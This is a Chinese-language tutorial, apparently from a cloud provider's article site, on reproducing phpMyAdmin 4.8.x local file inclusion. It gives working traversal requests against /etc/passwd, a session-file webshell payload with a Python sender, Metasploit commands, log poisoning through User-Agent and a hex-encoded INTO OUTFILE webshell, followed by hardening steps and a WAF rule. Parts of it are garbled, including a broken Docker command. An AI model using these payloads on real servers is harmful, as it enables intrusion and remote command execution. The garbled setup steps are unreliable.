您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何理解phpMyAdmin文件包含漏洞复现
## 前言
phpMyAdmin作为最流行的MySQL数据库管理工具之一,其安全性直接影响数百万网站的数据安全。文件包含漏洞(Local File Inclusion, LFI)是phpMyAdmin历史上多次出现的严重漏洞类型。本文将通过漏洞原理分析、环境搭建、漏洞复现和防御措施四个维度,深入解析这类漏洞的利用方式。
---
## 一、漏洞原理深度解析
### 1.1 文件包含漏洞基础
文件包含漏洞分为两类:
- **本地文件包含(LFI)**:包含服务器本地文件
- **远程文件包含(RFI)**:通过URL包含远程文件(需`allow_url_include=On`)
phpMyAdmin的典型LFI漏洞常出现在:
```php
// 错误示例:未校验用户输入的包含路径
$page = $_GET['page'];
include('/modules/' . $page . '/header.php');
在phpMyAdmin中,文件包含漏洞常与以下特性结合:
1. 会话文件包含:通过写入恶意代码到临时会话文件(/tmp/sess_[PHPSESSID]
)
2. 日志文件包含:包含Apache/Nginx访问日志注入PHP代码
3. 配置文件包含:利用config.inc.php
等配置文件
组件 | 版本 |
---|---|
phpMyAdmin | 4.8.0-4.8.1 |
PHP | 5.6⁄7.0(需开启session.auto_start ) |
MySQL | 5.7 |
操作系统 | Ubuntu 18.04/Kali |
使用Docker快速搭建:
docker run -d -p 8080:80 --name vulnerable_pma \
-e PMA_VERSION=4.8.1 \
-vulnerable-web-dvwa
php.ini
:
session.auto_start = 1
allow_url_include = Off
config.inc.php
未设置$cfg['TempDir']
构造恶意请求:
GET /index.php?target=db_sql.php%253f/../../../../../../etc/passwd HTTP/1.1
%253f
解码后为?
会话文件包含利用:
# 生成恶意SESSION
import requests
url = "http://target/index.php"
payload = "<?php system($_GET['cmd']);?>"
requests.get(url, cookies={'PHPSESSID': payload})
包含临时文件:
GET /index.php?target=../../../../../../tmp/sess_[恶意ID]&cmd=id HTTP/1.1
使用Metasploit模块:
use exploit/multi/http/phpmyadmin_lfi_rce
set RHOSTS 192.168.1.100
set TARGETURI /pma
exploit
当无法使用会话文件时: 1. 通过User-Agent注入PHP代码:
curl -A "<?php phpinfo();?>" http://target/
GET /index.php?target=../../../../var/log/apache2/access.log
转换编码漏洞:
SELECT 0x3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E INTO OUTFILE '/var/www/shell.php'
(十六进制编码的<?php system($_GET['cmd']);?>
)
设计器功能利用:
通过pma_pdf_schema
表写入恶意代码
if (strpos($target, '..') !== false) {
die('Invalid request');
}
权限控制:
chown -R root:root /usr/share/phpmyadmin
chmod -R 644 /usr/share/phpmyadmin
配置加固:
// config.inc.php
$cfg['AllowArbitraryServer'] = false;
$cfg['TempDir'] = '/var/lib/phpmyadmin/tmp';
WAF规则示例(ModSecurity):
SecRule ARGS_GET:target "@contains .." "deny,log,msg:'phpMyAdmin LFI attempt'"
“理解漏洞的最好方式就是亲手复现它” —— 某安全研究员
”`
注:实际复现请务必在授权环境下进行,本文仅作技术研究用途。根据具体环境参数可能需要调整利用方式,建议参考官方补丁分析完整防护方案。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。